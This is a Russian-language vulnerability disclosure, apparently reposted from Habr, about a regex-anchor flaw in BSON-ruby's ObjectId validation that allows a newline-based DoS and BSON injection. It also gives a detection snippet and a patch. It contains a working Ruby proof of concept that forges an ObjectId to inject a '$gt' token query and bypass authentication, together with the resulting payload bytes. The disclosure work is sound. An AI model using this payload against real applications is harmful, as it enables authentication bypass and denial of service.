В BSON-ruby был найден баг который в лучшем случае приводил к небольшому DoS, но большинство версий было уязвимо к инъекции в BSON (аналог SQL инъекции, BSON это бинарный аналог JSON используемый для работы с базой).
На хабре уже как то упоминалась особенность регулярок в руби — у нас ^$ значат не просто начало и конец строки, но и новую строку \n.
Но тогда это были лишь XSS с помощью «javascript:a()\nhttp://» и я давно искал пример, когда регулярки приводят к серьезной уязвимости. И вот пару дней назад во время аудита зависимостей своего клиента на следующий код в BSON-ruby.
def legal?(str) !!str.match(/^[0-9a-f]{24}$/i) end
Этот метод ответственен за валидацию ObjectId. Например Order.find(params[:id]) где id это 24 символа из юзер инпута вида «21141c78d99f23d5f34d3201».
Проведя небольшое расследование я выяснил что уязвимость была исправлена в 2012, потом заново введена самим же мейнтейнером в 2013 в результате очень подозрительной регрессии.
С 17 апреля 2012 по март 2012 использовались ^$, затем \A\Z до апреля 2013, и затем снова ^$.
Чтобы проверить уязвимо ли ваше приложение запустите
b=((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId) raise "DoS!" if b.legal? "a"*24+"\n" raise "Injection!" if b.legal? "a"*24+"\na" And use this patch if you indeed are! Don’t forget to alert others.
И используйте этот патч если да
def ((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId).legal?(s) /\A\h{24}\z/ === s.to_s end
Если вы используете старую версию BSON из 2013 года, то скорее всего там используются \A\Z и лишь небольшой DoS возможен. Почему? Потому что \Z в руби помимо окончания строки разрешают один \n в конце. Итого если мы пошлем id=aaaaaaaaaaaaaaaaaaaaaaaa%0A то монго будет ругаться [conn1] Assertion: 10307:Client Error: bad object in message: invalid bson type in object with _id: ObjectId(‘aaaaaaaaaaaaaaaaaaaaaaaa’).
Однако драйвер Руби не понимает эту ошибку и делает вывод что нода лежит. И пингует еще 39 раз в течении следующих 5 секунд, забивая воркер бесполезной работой, что может быть использовано как Denial of Service для некоторых сайтов.
Но это ничто по сравнению с тем что творится в последних версиях BSON. Там можно послать строку вида
_id=Any binary data\naaaaaaaaaaaaaaaaaaaaaaaa\nAny binary data
Что будет разпаковано и вставлено в тело BSON документа при запросе к монго без всякой валидации (предполагается что ObjectId уже валидирован и для быстродействия вставляется в чистом виде). С помощью данного Proof of Concept можно делать произвольные запросы к монго путем перезаписи параметров BSON документа, обходить системы аутенфикации на основе токенов или API ключей, делать DoS и возможно многое другое.
require 'uri' b = BSON::Document.new b["$query"] = {"token" => {"$gt"=>""}} payload = b.to_bson[4..-2] id_ish = ("\n\n" + "a"*24 + "\n\n") fake_id = "a"*24 + "\x02_id\0".unpack('H*')[0] + [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" + payload.unpack('H*')[0] puts URI.encode(fake_id) # looks like: # aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000 User.find fake_id #returns <User _id: 556f840f686f6d6746000000, token: "a">
В итоге запрос с инъекцией такой:
\x83\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xD4\a\x00\x00\x00\x00\x00\x00 mng_development.users\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x00\x00\x00\a_id\x00 \xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x02_id\x00\x0F\x00\x00\x00\xAA \xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x00\x03$query\x00\e\x00\x00 \x00\x03token\x00\x0F\x00\x00\x00\x02$gt\x00\x01\x00\x00\x00\x00\x00\x00\x00
Примените патч, и помните, что в регулярках в руби всегда нужно использовать \A\z.
ссылка на оригинал статьи http://habrahabr.ru/post/259569/
Добавить комментарий